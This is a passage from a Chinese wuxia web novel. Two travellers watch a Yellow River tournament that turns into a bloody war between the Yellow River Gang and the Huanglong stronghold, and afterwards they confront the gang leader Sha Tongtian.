王有财自然是发现了王落的小动作,出声喝道。 “王有财?怎么是你?” 王落看清拉自己的人,没想到竟然是自己王家寨的人。 可脸上的表情却没有丝毫遇见熟人的喜悦,反而是有些欲言又止的不满。 不过想想也对,自己刚被人从擂台上打下来,此时要说最怕的就是见到熟人了。 在陌生人面前丢面子没关系,因为对方根本不知道你是谁,换个地方谁管得了谁。 可熟人就不同了,尤其还是自己的邻里,这要是王有财把自己今天落败的事情往寨子里一说,再添点油加点醋,那自己还怎么抬得起头来。 所以王落此时的心情也就可想而知了。 “王有财,你不在寨子里打渔,来这里做什么?” 王落有些恼怒的喝道。 “小落,我好心救你,你怎么还下暗手。我倒是不怕,可这船上的两位客人可不是我们这样的水猴子,要是惊了水,可如何得了。” 王有财有些愤愤的道。 王落先是瞥了一眼陈子云跟赵茵萝,见他们相互扶持站立不稳的摸样,就判定对方不过是寻常人物,自然不放在心上。 “别说这些有的没的,不是都无事吗。先赶紧送我回岸上,我要去换身衣服去。” 王落颐指气使的说道,好像指使王有财做事是理所应当的事情。 赵茵萝小公主哪里受过这样的气,藏在袖子里的小刀都已经滑到了手掌中。要不是陈子云死死的按住,早就出手教训王落这个混人了。 “不去,要去你自己回去。我这里还要跟陈兄弟他们看擂台。” 王有财说这句话的时候,几乎是扯着脖子说的。 “什么?” 王落显然是非常的吃惊,不理解这个在寨子里最没骨头的王有财怎么会敢拒绝自己的。 “连你也敢看不起我!” 王落自然是以为王有财刚才看到了自己被打下擂台,才会这样不待见自己,于是心中怒火中烧,挥起拳头就要往王有财身上打去。 他要好好教训一下这个寨子里最没骨气的家伙,顺便提醒他注意自己的嘴巴,不要回寨子里随便嚷嚷。 可拳头还没打到对方,王有财手里的竹竿却是已经点在了他的肩头,这让他的拳头僵在了那里。 王落瞪大眼睛,满眼不信的看着王有财,似乎不理解为什么这个胆小怕事的老东西怎么敢跟自己动手。 第一百八十三章 伤自尊 “小落,要耍脾气回寨子里去,不要在外面。” 王有财这话听着像是在劝解,可更像是在服软。 “你……” 可王落却是感觉自己的自尊心再次被践踏了,甚至比刚才被人从擂台打下来还难受。 此时的他脑袋里只剩下羞怒,双手直接抓住王有财的竹竿,咬牙用力,在一阵吱嘎声中,将这个常年撑船已经变的油光水滑的竹竿给搅碎了。 这份力道,比他在擂台上与人动手的时候还大了几分。 “小落子。” 王有财有些惊愕的看着突然变得凶恶的王落,一下子不明白对方怎么突然就变这样了。 可他这一声呼喊,不但没有唤醒陷入疯狂的王落,甚至还有些火上浇油的意思。 “啊!” 王落一声呐喊,双手往使劲上一抬,直接就将已经被他捏碎的竹竿给夺了过来,随后反手就朝着王有财打去。 王有财本来就没有缓过神来,何况就算他有准备,在这样的小舟上也没地方躲。 所以王有财只能抬起双手,交叉挡在自己的头顶,这是人类面对危机下意识的防护反应。 陈子云虽然阻止了赵茵萝出刀,但这并不意味着他能眼睁睁看着这个有些土里土气的老好人王有财受此一击。 一道指劲直接点在王落的腰侧,随着对方的一声惊叫,身体跟着一个不稳朝着小舟的一侧一头栽了下去。 等王有财听到王落发出的落水声反应过来的时候,很是疑惑的看着波涛未平的水面。 “这是怎么回事?” “可能是刚才这骡子用力过猛,没有站稳。” 赵茵萝笑着淡淡的说道。 “没站稳?” 王有财摇摇头。同是王家寨出来的,哪里会不知道王落的功夫。况且都是长在水里的孩子,就算浪再大也不会从船上翻下去。 这要是被同寨的人知道了,还不被笑话死。 不过说来也奇怪,王落落水之后,竟然没有再浮上来。 陈子云刚才只是稍微的点了一下,让王落身体一时无法保持平衡而已,并没有杀他的意思。 要么对方刚才从擂台上被打落的时候,就已经受了严重的内伤,所以被陈子云点下水的时候,旧伤复发,直接就沉底了。 要么就是王落根本没事,只是因为自尊心作祟,不愿意再面对王有财这个他向来看不起,却又几次被对方羞辱的同寨人。 不过不管是哪种猜测正确,陈子云都无所谓。这样的人死就死了,逃了就逃了,与他而言都没什么区别。 倒是王有财,用那根已经被王落捏碎了一端的长竹竿往河里探了探,直到没有戳到什么,才舒了一口气。 “应该是从水底游走了。” “让陈兄弟跟弟妹看笑话了,这小落子恐怕也是一时昏了头了,他在寨子里的时候还是明事理的。” 王有财抱歉的拱手说道。 “王老哥不必如此,年轻人么,做事冲动一些也是正常的。” 陈子云一副不介意的样子。不过确实也是,对于王落这样的毛头小子,他也不会真的放在心上。 “咦,有个怪胎上擂台了。” 赵茵萝似乎是发现了什么新奇的东西,指着擂台上的人物很是有些兴趣的说道。 陈子云跟王有财都随即转过了目光。 只见一个青脸瘦子,面颊极长,额角上肿起了三个大肉瘤,形相极是难看。 “是黄河帮的三头蛟侯通海,侯二爷。” 王有财一下子便认出了这个怪人。 “弟妹,你可不要小看了侯二爷,那在黄河上也真当是能翻江倒海的人物呢。” “就他?” 赵茵萝显然是不信的,就看侯通海现在使出的几手功夫,也就是比王落之流高明一些而已。 “这还不厉害,你看那三股叉耍的,当真是凌厉的很啊。要我看,他这对手最多也就再接个三招。” 王有财似乎很是看好侯通海。 不过这次他猜的倒是不错,侯通海的对手没一会儿就被打倒在地,直接认输了。 “好!” 王有财随着周围的船上的人一起呼喊了起来。 此时擂台上的气氛,也经过这几场比试被彻底带动了起来。 而随着侯通海的出场,台上那几把本来还空着的太师椅此时也坐满了人。 正中间的那把坐着的是一个五短身材,满眼红丝,却是目光如电,上唇短髭翘起的中年汉子。 看他隐隐发白的手脚就知道对方肯定是在水里讨生活的高手。 不用说,这人就是举办这次擂台大比的黄河帮帮主鬼门龙王沙通天了。 至于其他的几位,王有财介绍了其中几个他大概能认出来的。 不过陈子云看对方的神情也能猜到,其中怕也是有碰运气的成分。无非是不想让陈子云两人看不起他,以为他王有财是个认不到人的乡巴佬罢了。 陈子云自然不会在这个时候戳穿王有财,反正他也不在意这些人到底是谁。换句听得懂的话,反正都是一刀解决的货色,何必要知道对方的身份。 “各位江湖朋友。” 就在王有财还在跟陈子云他们介绍人物的时候,作为主人家的沙通天开始致辞了。 见他气沉丹田竭力将声音扩到最大的样子,就像一只正在蓄力发声的蛤蟆。不过这对于在场的其他人来讲,显然已经是了不得的本事了。 所有人都立刻安静了下来,神色庄重的听着。 “今天我沙通天,广邀五湖四海的豪杰汇聚于此。并不是要宣扬我黄河帮如何的,而是为了大伙儿某个好出路。 各位来的都是响当当的人物,也都是在水里浪里找食吃的蛟龙。 可蛟龙再厉害,一人之力总是有限。沙某也是没读过书的粗人,但也知道一人智短,十人智高的道理。” 沙通天讲到这里似乎已经有些气短,深深的吸了一口气,才再次蓄力吐声。 “所以,沙某请来了东海派的刘掌门,大河派的向掌门……” 沙通天又从自己的左手起,依次介绍了这些个坐在擂台上的大人物。 每次有一个所谓的掌门或者帮主起身,擂台下就会响起一阵掌声与欢呼。 看来这也是早就安排好氛围组的。 第一百八十四章 沙通天 沙通天又换了一口气,接着说道。 “沙某有幸在诸位掌门的见证下,将黄河上下的好汉都聚集在此。希望我们能团结一心,通力合作,将这不管是水里的,还是岸上的生意都统一起来。 这不仅可以少了弟兄们之间无谓的争执,也能拧成一股绳做更大的事业。 所以,我,黄河帮沙通天在此指天立誓,要是往后对新加入的兄弟不公,对将来的弟兄不敬。 三刀六洞,葬身鱼腹,不得善终。” 沙通天最后几个字几乎是用尽了全力吼出来的。 “黄河帮,黄河帮……“ “沙龙王,沙龙王……” 一些早就安排好的黄河帮弟子在擂台四周纷纷发声。 周围的人也被这些人给带动了起来,主要是这些黄河帮的弟子,总是用眼神在四周不断的打量,要是被他们记下谁不认同的,难道不会被秋后算账。 所以这越来越壮大的声势就这样被活活的哄抬了出来。 “哈哈哈哈……哈哈哈……” 一阵阵肆意的大笑,有些突兀的出现。 陈子云心里一乐,砸场子的来了,事情要变得有趣了。 “谁?” 沙通天一声冷喝,众人齐齐静音。刚才因为声音太杂一时没有发现是从哪里来的,沙通天怒睁着越发血红的双目,扫视四周。 这一位素来以做无本生意出名的匪首,终于收起了虚伪的和善面目,露出了藏在唇里的獠牙。 众人鸦雀无声,都纷纷看着旁边的人,不知道是谁敢在这个豁口,撩这位龙王爷的胡须。 “沙老儿,你在黄河面上搞什么擂台聚义,却不请我黄龙寨是不是太不够意思了?” 众人都听到了这声戏谑,也终于听清了声音的来源。 众人循着声音望去,一艘通体金黄,船头是龙首摸样的大舰正朝着擂台驶来。 “是黄龙寨的黄龙大舰。” 但凡是在黄河水上讨生活的人物一下子就认出了来船,同时脸上都露出了异样的神色。 要说这黄河面上还有谁能与黄河帮分庭抗礼,也就是要算这黄龙寨了。 这次众人摄于黄河帮的威势,不得不来参加这场聚会,其实不少人心里也盼望着黄龙寨能出来搅局。 毕竟就算自己的帮微寨小,可那终究是自己的一亩三分地,能自己做主的。 要是真的被黄河帮给收拢了,那以后还不得听命行事,哪里还有如今的快活。 再说,老话说的好,金窝银窝不如自己家的狗窝,这一旦加入的黄河帮,还不一定怎么指派他们呢。 这些懒散惯了的水上汉子,怎么可能真的没有抵抗情绪。 “我道是谁,原来是黄龙寨的黄寨主。寨主可不要误会,沙某可是早早的就给黄寨主送去了请帖,只是听说黄寨主因事出了远门……” 沙通天虚虚的一拱手,做足了姿态的说道。 “哼,沙通天,枉费我以前还觉得你也是条直来直去的好汉。没想到你用这般下作的手段,故意给我送来假消息,让我不得不下江南。 要不是我半路刚好遇到一位从江南来的故友,说不得还真让你得逞了。 可如今,你还想强逼着这些黄河上的好汉混入你的黄河帮,休想!” 那黄寨主怒声喝骂道。 “黄寨主,这是哪里的话。沙某如何会欺瞒寨主,寨主可千万别被一些小人给糊弄了。” 沙通天自然不会承认,脸上依旧是一副微笑的摸样。 “哼,黄某自然知道你不会认这笔无头账。不过既然今天是你黄河帮摆出的擂台,那我黄龙寨的人来打上两场,想必你这做东道的也不会拒绝吧。” 黄寨主自认为已经看清了沙通天的嘴脸,自然不会再做无谓的争辩。 都是水里头,浪里头讨生活的,自然要以手底下的功夫见输赢。 “姓黄的,我师哥既然说已经请你了,那自然就是请了。不要说别的,既然你已经来了,那就先上来跟你三头蛟爷爷过上两招。” 沙通天还没发话,倒是一旁的三头蛟侯通海已经忍不住了。 侯通海向来是最敬重自己这位师哥,自然容不得黄寨主诋毁。 “师弟……” 沙通天欲言又止。 “师兄,别担心,看我帮你先教训教训他。” 侯通海以为是沙通天担心他打不过对方,直接就来到了擂台的中央。 “哈哈哈,好好好,侯通海,你虽然本事不大,但是这胆子跟这豪爽的劲头却是不差的,比你的这位师兄强。” 黄寨主看着强出头的侯通海反倒是一阵夸。 “姓黄的,你别说这些有的没的,我师兄的本事自然不是我能比的。你也别废话,赶紧放马过来,有什么本事让你侯爷爷见识见识。” 侯通海就是个浑人,而浑人最大的特色就是无知无畏。 “好你个三头蛟,就按你说的,我少不得要教训教训你。不过我要是出手,那就是以大欺小了。 费油,你去试试侯二爷的本事。” 黄寨主没理会侯通海的挑衅,而是朝着身边的一位年轻人说道。 “是。” 这个叫费油的年轻人一身皮肤油光水滑,却又乌黑的发亮,加上个有些尖尖的脑袋,活脱脱就是一条泥鳅河鳗的摸样。 只见他跳下大舰往水里一钻,一条清晰可见的犹如水蛇游江的波纹朝着擂台而去。 当着水波纹撞到了擂台下的一根立柱,费油轻轻在柱子上搭了几下手,直接就蹿上了擂台。 “泥鳅战黄鳝,倒是有趣的很。” 陈子云看着那灵活异常的费油,也是斜嘴一笑。 “嗯。” 赵茵萝也难得的点了点头,她虽然看不上这两人的功夫,可这样另类的战斗还是算得上有趣二字的。 “你个小辈,我不跟你打,让姓黄的来。” 侯通海见来人是个黑不溜秋的年轻人,有些不满的说道。 “嘿嘿。” 费油也不跟侯通海废话,手里往要上一掏,就掏出一根混铜棍来。 不过这棍子的一头被磨尖了,又像个断了半截的枪头,属实也是一件奇门兵刃。 第一百八十五章 黄龙寨 只见那棍子的尖头朝着侯通海一点,费油已经在瞬息之间凑到了侯通海的近处。 “好个小贼,你敢偷袭爷爷。” 侯通海一声惊喝,随即手上的钢叉一抬,将打来的棍子挡住。 随着兵器相撞的铛铛作响,这个擂台上终于是迎来一场能入眼的真打。 两人你来我往,奇招怪招不断,一个像是叉鱼的渔夫,另一个也像标鱼的猎手。 他们也算是将从水里学来的功夫给彻底化到了自己的招式里。 “呵呵,一个是三头蛟,一个是黑泥鳅。倒像是龙宫里的虾兵蟹将打到岸上来了。” 赵茵萝看着擂台上两个活蹦乱跳的怪模怪样的人物,嗤笑道。 “弟妹,可不敢这么说,小心旁人听到,这黄河帮跟黄龙寨可不是我们能招惹的。” 王有财连忙阻止道。 “王老哥莫慌,这人的注意力都在擂台上呢,不会听到的。“ 陈子云也笑着解释了一句。 他们自然是无所谓会不会被人听到的,只是没必要让王有财跟着担心。 王有财有些忐忑的扫了周围一眼,直到他确认真的没有人在意他们的时候才稍微按下心来。 擂台上,侯通海跟费油也是都使出了浑身解数。侯通海虽然年纪较大功夫深些,但是招式之间是来总有些笨拙的感觉。 而费油却是灵活的像条泥鳅,他总是能巧妙的躲过了侯通海势大力沉的招式,不与对方硬拼。 而是靠着灵活的步伐在左躲右闪之际,偶尔还能抓着对方的一个破绽就打的侯通海措手不及。 可打到了这个份上,两人都知道不能再这么拖下去了,双方都在准备给对方致命一击。 对于黄河帮跟黄龙寨的纷争,早就不知道多久了。只是因为双方都势均力敌,平时都是暗地里的手段多,真刀真枪的比较少。 而这次沙通天既然摆出了这种一统黄河上下的阵势,那当然也就是说明,两方必然要有一个登顶。 另一个吗,自然就是要被打落尘埃,不,是被沉入黄河底的。 突然,费油在躲闪的时候,脚下一滑,本来是要从左边躲过侯通海一击直刺的,如今却是将左肩直直的撞了上去。 众人心里暗道,胜负分矣。 “哈哈。” 侯通海更是欣喜万分,手里的劲道再加一分,朝着费油的左肩狠狠刺下。 预想中的对手的惨叫却没有传来,可他的叉尖头确实已经见血,这是怎么回事? 然后他就看到跟自己师哥一样的,一双充满血丝的眼睛,里面满是暴戾与戏谑。 侯通海本能的感觉到不对劲,就想把叉子拔出了撤退,却发现自己的叉子竟然被一只手给稳稳抓住了,一时竟然挣脱不得。 而他的眼角同时瞥见一根削尖的铜棍正朝着他的脑袋戳来,这要是被戳中,保证被穿个窟窿。 侯通海只能松开手里的武器,赶紧后退。 那只住着叉子的手,如今已经被从肩头留下的血给沾染的腥红一片。 可费油却像是没感觉似的,将手上的叉子往擂台下一扔,然后撕开袖子随意的绑在伤口附近。 好个对人狠,对自己也狠的年轻人。 “你……” 侯通海显然也是被对方的狠厉给震惊了。 费油不顾身上的伤势,邪笑着朝着侯通海道。 “二爷,小心哦。下次我可就要叉穿你的脑袋了。” “浑小子,别废话,来啊。” 侯通海自然不会在这个时候露怯的。 就算他知道自己没了兵器,手上的功夫起码要弱个三层。可对面的小子不是也受了自己一叉子吗,大家打起来自然也还是半斤八两。 可明眼人都知道,这场比试按照现在的情况看。不管是气势上,还是自身优势上,费油基本是赢定了。 唯一值得关注的是,费油会不会真的对侯通海下杀手。 而相对应的黄河帮与黄龙寨是不是会直接开打,而自己又要如何避免遭受这场鱼池之殃。 “一招。” 费油嘴里轻轻地念叨着,随即手中的铜棍子从侯通海的胸口划过,虽然没有直接见血,不过对方的胸口衣服直接被撕开了口子。 “哈哈哈……沙帮主,还不认输,你这位师弟恐怕不妙喽。” 黄寨主此时大笑着朝沙通天道,那神情自然是得意非凡。 沙通天眼睛一刻也不敢离开擂台,也没有回答黄寨主的话,只是收在腰间的拳头已经捏的发白。 沙通天知道,要是自己这个时候代替侯通海认输,倒是能救下人。可自己这个帮主一开口,不就是等于黄河帮向黄龙寨认输吗? 整个黄河帮的士气必然大跌,而自己请来助拳的这些人说不定也会因为看不清形式而在黄河帮跟黄龙寨之间摇摆。 要是有几个没眼力的东西,反水对付自己,再加上那停在一边的黄龙大舰,说不得他们黄河帮顷刻之间就要覆灭。 所以,这场比试,侯通海自己认输可以,最多就算他们输了这一阵,但是绝对不能以沙通天开口认输,因为那就是输了全局。 可以侯通海的性子,在知道今天的擂台对自己师哥,对黄河帮的重要性之后,如何会轻易认输。 别看侯通海平时衣服傻大愣子的摸样,可对于自己这个师兄的敬重他是知道的。 这也是沙通天这么看中自己这位师弟的原因,要不然以黄河帮如今的威势,找个二爷难道还不简单。 沙通天眼睁睁的看着侯通海身上一道道被费油叉出来的伤口,额头的青筋逐渐满布,连牙齿都咬的咯咯作响。 而黄寨主的一声大喝,就成了这个即将爆炸的火药桶的助燃剂。 “费油,给我杀了他。” 擂台上下的人都是感到一阵心悸。 而费油则是嗤笑着举起手里的铜棍,朝着已经基本没有反抗之力的侯通海狠狠插下。 侯通海剧烈的喘息的,想竭力的躲开,可遍体鳞伤的他,此时即使做一个再微小的动作都会让身体感觉到巨大的痛苦。 于是他只能艰难的偏了偏头,可这样一来,脆弱的脖子就彻底暴露在费油的铜棍之下。 费油咧开的嘴,里面还带着些许被侯通海的拳头打出的血丝,狰狞的犹如地狱派来的使者。 第一百八十六章 帮战 “你敢!” 一声振聋发聩的大喝。 沙通天直接一跺脚下的擂台,一块厚实的木板被他踩碎,随即一脚就将这块木板一脚踢向了费油。 “呜呜……” 木板带着一阵破风声直接朝着费油的脑袋砸来。 “沙通天,你这是……” 黄寨主本来正想抓住沙通天插手比赛的痛脚,好好打击一番黄河帮的士气。可沙通天却是没有给他机会。 “动手。” 沙通天大喝的同时举手示意,而散落在在擂台四周的黄河帮帮众,瞬间开始扑向黄龙寨的黄龙大舰,一场帮战就此展开。 而那些被席卷进来的其他江湖人,有那些深谙避祸之道的已经在黄龙大舰出现的时候就往外围去了。 有的赶紧趁着两帮人相互厮杀,撑船溜之大吉。 有些性子急切的,直接就一头扎进了河水里,仗着自己的水性快速游开去。 至于那些早就被黄河帮收买的,或者已经暗中投靠的势力,自然是随着黄河帮的人众朝着黄龙大舰而去。 不过也有一些人,突然就从这些人的旁边直接动手,拎着刀就砍过来。不用说,这些人自然就是站在黄龙寨那边的。 一时之间,本来还在谈笑风声的好友,直接就刀剑相向。 当真是好个江湖风浪急,遇险分头立。 再好的朋友,在生死富贵面前,终究是要该砍就砍,该杀就得杀啊。 “这这这……” 陈子云跟赵茵萝自然不会将这些渔虾蟹放在眼里,可王有财却是被这突变的形式给吓的不轻。 “陈兄弟……弟妹……你们坐稳了,看我王家寨二班头王有财,将你们送出去,别怕别怕啊。” 王有财哆哆嗦嗦的说着,不知是在安慰陈子云他们,还是在安慰自己。 不过话说回来,这位的撑船功夫却是一绝,以脚执着浆,用手撑着断了一截的竹竿。 碰碰撞撞的,带着陈子云两人往擂台外围走。 一旦有船靠近,王有财就用竹竿撑住对方的船身,让自己远离他们。他此时真是有些后悔,为什么要靠擂台这么近,远远的看不就好了吗。 不过这些人现在也是杀红了眼,杀性上来了遇到的人就砍,几乎不管对方到底是哪边的人。 在这样的乱局之下,谁也不可能真的去等问清楚对方了是哪头的再决定砍不砍。 话还没出口,估计人家的刀就已经砍过来了。 所以面对这种情况,第一要义就是保护自己,至于自己的刀砍死的是谁。死道友总比死贫道要好。 不过好在王有财找的方向还算对,不在黄河帮与黄龙寨交手的方向。 即使有几个真的杀疯的,不知好歹的非要追着他们的这艘小船来,也被陈子云跟赵茵萝巧妙的化解了。 王有财虽然奇怪,怎么刚你才还气势汹汹的朝着他们冲过来的船只,突然就在河面上自己打转了。 还有一个从大船上朝着他们直接跳过来的家伙,似乎在半空中突然发了羊癫疯似的,全身抽抽的就往河里去了。 不过王有财此时也没心思深究,现在一切以离开这个鬼地方为主。他也是心里暗恨自己,怎么今天就这么的不长眼,非要到这个是非地来凑热闹。 小落子说的不错,好好的待在寨子里面打渔不好吗。王有财啊王有财,自己几斤几两搞不清,还要来凑这江湖热闹。 这下好了,小命也要被凑没了。 更可恨的是还将陈老弟跟弟妹给牵扯进来了,这多么好的一对人啊,要是今天真的死了在这里,那就罪过大了。 不行,王有财你自己烂命一条,父母早逝,无儿无女的,死了也没有人记挂。可不能让陈老弟夫妇这么好的人,年纪轻轻就死在这地方。 “啊哈……” 王有财突然的发力倒是让陈子云有些惊讶,小舟在这股新生的力道下,犹如一道利剑一般的划过湖面朝着岸上而去。 不多久,终于没有船再追着他们了,毕竟他们的位置离战场的中心已经有了一些距离。 而王有财见他们基本已经脱险,一下子也瘫倒在了船上,刚才的那一个爆发,几乎把他的力气都用尽了。 “陈老弟,陈老弟。” 王有财有些脱力的呼唤着陈子云。 “老哥,你这是怎么了?” 陈子云一时疑惑,不过他确定王有财绝对没有受伤。有他跟赵茵萝看着,就算是沙通天来了,也是休想伤人。 “没事,老哥我只是一时脱力了。刚才用了一些在水里发力的门道,这会儿却是没力气。 这剩下的一段距离,怕是要麻烦老弟来撑船靠岸了。” 王有财解释道。 “原来如此,刚好老弟也正想试试这撑船的把式,还请老哥教我几手绝活才好。” 陈子云笑着拿起了那个竹竿道。 “嘿,老弟你真说笑了。这撑船哪里有什么绝活可讲,无非就是凭着一把子力气。 老弟你先试试,现在咱们的船靠岸近了,这竿子应该能直接够到河底。你借着力气往反方向撑船就行,都不用划桨。 这划浆倒是对于新手还有几分可讲的地方,这竹竿子就简单的多。 老弟你先试试。” 王有财半躺在船头,指点着陈子云道。 “我来。” 赵茵萝这时却突然抢过了陈子云手里的竹竿,朝着河底就是一推。 可赵茵萝现在是什么力道,身体里有了陈子云几十年的内力加持,她又是第一次自己撑船,难免就用力过猛了。 只见得她一用力,双脚在船尾一踩,整个船头带着王有财就要翘起来。 “啊呀。” 王有财一声惊呼,好在陈子云立刻脚下用力,又将船头压下。 而这小舟则是在这一抬一压之下,往前面窜出了一大截,就像是刚加速的摩托艇一般的朝着岸上冲去。 “这是怎么了?” 王有财神魂未定的问道。 “咳咳咳,可能是后面有浪在推。” 陈子云胡扯的解释着。 “浪?这是浪?” 王有财仰起头,往船尾的方向望了一眼。 河面上除了一些被小舟激起的波纹,哪里会有什么浪。 “诶诶,王老哥,你先歇着。茵萝,你撑船稳一些,王老哥需要安心休息呢。” 陈子云伸手压下王有财的同时,对赵茵萝使了个眼色。 赵茵萝也意识到了问题,开始慢慢的试探竿子撑船的诀窍,好在她天生聪慧,几下子就摸到了门道,稳稳的将船送上了岸。 第一百八十七章 黄河血色 陈子云将还是有些无力王有财扶着下了船。 “这真是赶上趟了,走走,陈老弟,这十天半个月是不能来这李子口了。说不得就要尸横遍野了,造孽啊。” 王有财偷偷回头望了一眼,看见两边杀的正酣的帮战满脸畏惧的说道。 “是啊,江湖,江湖,这被血色染红的黄河,却是真正的江湖了。” 陈子云意味深长的说道。他的眼睛却是在示意赵茵萝的,希望对方明白,这江湖可从来不只是快意恩仇的一面。 更多的是这些分不清对错,说起来全该杀的货色。 “老弟说的不错。老哥我本来觉得在自己的寨子里待的乏味了,想出来看看这年轻人口中的江湖风景。 哪里想到是这般的摸样,以前倒是也听说过哪个帮吞了哪个派的,可总觉得那只是跟画本里的故事一样。 原来是这样的,这个比我们跟隔壁寨子打架还不讲究呢。 算了,老哥我也是明白了,安安心心的在寨子里打渔,才是我王有财该干的事情。” 王有财脸上有几分落寞的说道,随即像是想到了什么,有些急切的继续说。 “陈老弟,弟妹,你们如今也赶紧回吧。像你们这样的人物,何必牵扯到这些腌臜事情里。 想来你们也是来看看新奇的。别看了,听老哥的,这样的江湖算了吧,安安稳稳过日子才是真的。” “老哥说的不错。” 陈子云点点头继续说道。 “看过这一场,我们也是看明白了。我们这就要离开了,多谢王老哥今天的关照。 来日要是有机会,小弟夫妇二人,必然要去王家寨找老哥叙旧的。” “好说,要是你们肯来我们的寨子,老哥我自然是欢迎的。” 王有财走了,恢复了一些力气的他有些迫不及待的离开了这个让他恐惧的地方。 “怎么,看着这带着血色的江湖风波,感觉如何?” 陈子云指着岸边已经呈现出来的淡淡红色说道。 “恶心。” 赵茵萝皱着眉头道。 陈子云知道赵茵萝必然会有下文,于是也不做声。 “我反感孙镖头利用我偷袭杀人,可他虽然说得上卑鄙,却也说得上有勇有谋,也算是为旧主复仇。 可面前的这些,不过就是些为利益抢山头的水匪而已。要看这些,爹爹的朝堂上不知道有多少的案例可以给我看。 不说与北边的边境摩擦,就算是去山里剿匪也比这群人像样。 这些人……” 赵茵萝道。 “怎么,不像是你意识中的那些江湖草莽,更像是生意没谈成的贼商?” 陈子云笑道。 “不错,只重利益的贼商。” 赵茵萝点点头道。 “哈哈,看来那些记在纸条上的江湖消息还是概括的太笼统了。就算你知道这天下帮派的分分合合,却不知道到刀子是怎么插进敌人脑袋的。 要不要亲手跳进这江湖里,见见血?” 陈子云指指砍杀声渐渐奚落的湖面。他这是在诱惑赵茵萝去真正的杀人,反正这些人死在谁手里都是死,让赵茵萝练练手也不错。 “哼,这些人的血,我怕脏了我的红豆。” 赵茵萝不屑的说道。 红豆自然就是赵茵萝的那把小刀,这把刀是她翻遍了宋宁宗的内库,从中找到的一块不知道什么材质的石头做的。 经过宫里头最好的师父打磨,最后成了一块白里透红温润如玉的小刀。 至于名字,在赵茵萝找到这块石头之前她就想好了。 既然陈子云的刀叫做相思,她的刀自然就是红豆。 红豆相思,相思红豆。无论怎么看都是天生一对。 “那我们走?” 陈子云问道。 “我要看看,这些人最后的结局。” 赵茵萝望着基本已经分出胜负的战场说道。 “也好,我也挺好奇的。” 陈子云道。 其实他这也不是敷衍赵茵萝,按照以前的记忆,沙通天跟侯通海显然是不应该死在这里的。 但是以他对那艘黄龙大舰和那个黄寨主的观察,都不是容易对付的,当然这是对黄河帮以及沙通天来讲。 要是单打独斗,沙通天不一定是对方的对手,要不然他也就不用这么苦心孤诣的把这位黄寨主支走,才敢开这场擂台。 而且黄龙寨开着大舰,黄河帮要攻上去,就跟打仗的时候,步兵攻城一样,天然就是占据劣势的一方。 而且这样的大舰,要是见势不妙要跑,就黄河帮这些大大小小的船只,肯定也是拦不住的。 所以在陈子云看来,黄龙寨基本算是退可守进可攻,攻不过还可以跑,不管怎说也不应该被黄河帮给收拾的。 果然没过多久,黄龙寨的黄龙大舰就开动了,不是逃跑,而是直接朝着擂台撞了过去。 一路上被他碰着的船基本都是直接撞翻,小一点的直接就被碾碎了。 而本来还在擂台上负责指挥全局的沙通天也是诧异不已。 “轰隆。” 整个擂台直接被掀起来一半,而黄龙大舰也被擂台下的大柱子给卡住了。 沙通天借机跳了上去,与在船上等着他的黄寨主当面而立。 …… 陈子云跟赵茵萝在在岸边观看了将近半个时辰,这场可以说是黄河两岸近十年来最血腥的厮杀才终于结束。 几艘残破的船带着这一场拼斗最后的胜利者朝着岸边而来。此时的岸上除了几个傻大胆的或者就是留下来打探消息的江湖探子,就只有陈子云他们夫妇两人了。 而且这些探子一看清船上坐的人物是哪位,确定了这场战事的胜利者立马就离开了这个是非之地。 而那些不知道险恶的睁眼瞎么,直接就被那些先从船上下来的黄河帮众给直接格杀了。 “原来还是黄河帮赢了,这沙通天倒是有些能耐。” 陈子云此时已经看清了船上的来人,虽然也是血肉模糊,可那输了的,此时早就沉入黄河里喂鱼了。 至于为什么黄河帮会不分青红皂白到岸上杀人,那不过是自保的手段而已。 现在的黄河帮虽然赢了,可看着残兵败将的摸样,其实也是伤敌一千自损八百。要是不拿出一番气势来,怎么镇得住那些打算做渔翁的家伙。 沙通天这是要告诉那些观望的墙头草,他黄河帮就算被打烂了,也不是他们能窥探,只要有人敢来,他们就敢鱼死网破。 第一百八十八章 彭连虎 在见识到黄河帮的狠厉态度之后,岸上那些本来还犹豫的人,果然直接就慌不择路的跑了。 如今却只剩下陈子云他们两人还这么直愣愣的站着,当然也有一些躲在暗处没有现身的。 “找死!” 一个身上看着没什么伤势的黄河帮弟子,举着手里的钢刀就往赵茵萝头上砍来。 “是啊,确实是找死来了。” 陈子云屈指一弹,直接打爆了这哥急着见阎王的喽啰的脑袋。 陈子云本来已经很少用“惊蛰”这样霸道的指劲打人了,更何况是直接打脑袋。 就连一旁的赵茵萝也有几分诧异,不过想到陈子云这也是为自己出气,不由得就翘起了嘴角。 黄河帮的人见此,自然都是一股脑的围了上来。 不过他们也不敢直接动手,一方面是因为刚才那一战虽然他们赢了,可这些剩下的帮众也没有一个是完好的,或多或少身上都是带着彩的。 而且,此时他们的体力也基本是见底了,要是陈子云万一还在暗处藏着人,一旦一拥而上,背后偷袭,那他们黄河帮就要步黄龙寨的后尘了。 “这位大侠,不知可是与我黄河帮有所过节?” 沙通天耷拉着一只手,单手朝着陈子云做礼,问道。 陈子云只是摇摇头不答话。 “那大侠可是与黄龙寨有旧?” 沙通天再问。 陈子云依旧是摇摇头不答话。 沙通天皱紧了眉头,牙关紧咬,一双已经满是血色的眼睛阴晴不定的闪烁着。 可等他瞥到一旁被黄河帮弟子抬着走的侯通海,以及那个同样受伤不轻的矮个子对他摇头的时候,终于还是松开了手中的铁桨。 “哈哈。” 沙通天故作豪气的大笑了两声,可由于身上的伤势牵连,这笑声犹如病弱的秃鹫哀鸣。 “既然如此,那倒是我黄河帮怠慢了两位了。如此沙某就先告辞,要是两位有空来我黄河帮做客,必然扫榻相迎。” 沙通天其实已经牢牢的记住了陈子云跟赵茵萝的样貌,想着等自己身体恢复了伤势,重整了兵马。 到时候黄河帮就是黄河上下最大的帮派,自己大手一挥自然有无数的两岸子弟听令。 嘿嘿,到了那时,还怕这两人能躲到龙王爷那里去不成? “既然知道是你们的错,难道连赔礼道歉都不会吗?” 赵茵萝自然不会这么轻易放过敢对自己动手的人,刚才陈子云虽然已经杀了那个偷袭自己人,自己受的气可还没出呢。 沙通天尴尬的立住了刚要转身的脚,瞪大了眼睛看着这个普普通通的小妇人。 他本以为陈子云是两人之中做主的,却是没想到赵茵萝竟然如此说话。 沙通天看了一眼陈子云,对方却给了他一个爱莫能助的表情,这让沙通天很是不忿,同时也再次握紧了铁桨。 “两位当真要与我黄河帮结下梁子?” 本来躲在后面的那个矮个子悄咪咪的来到了沙通天的身侧,双手插在自己的腰间。 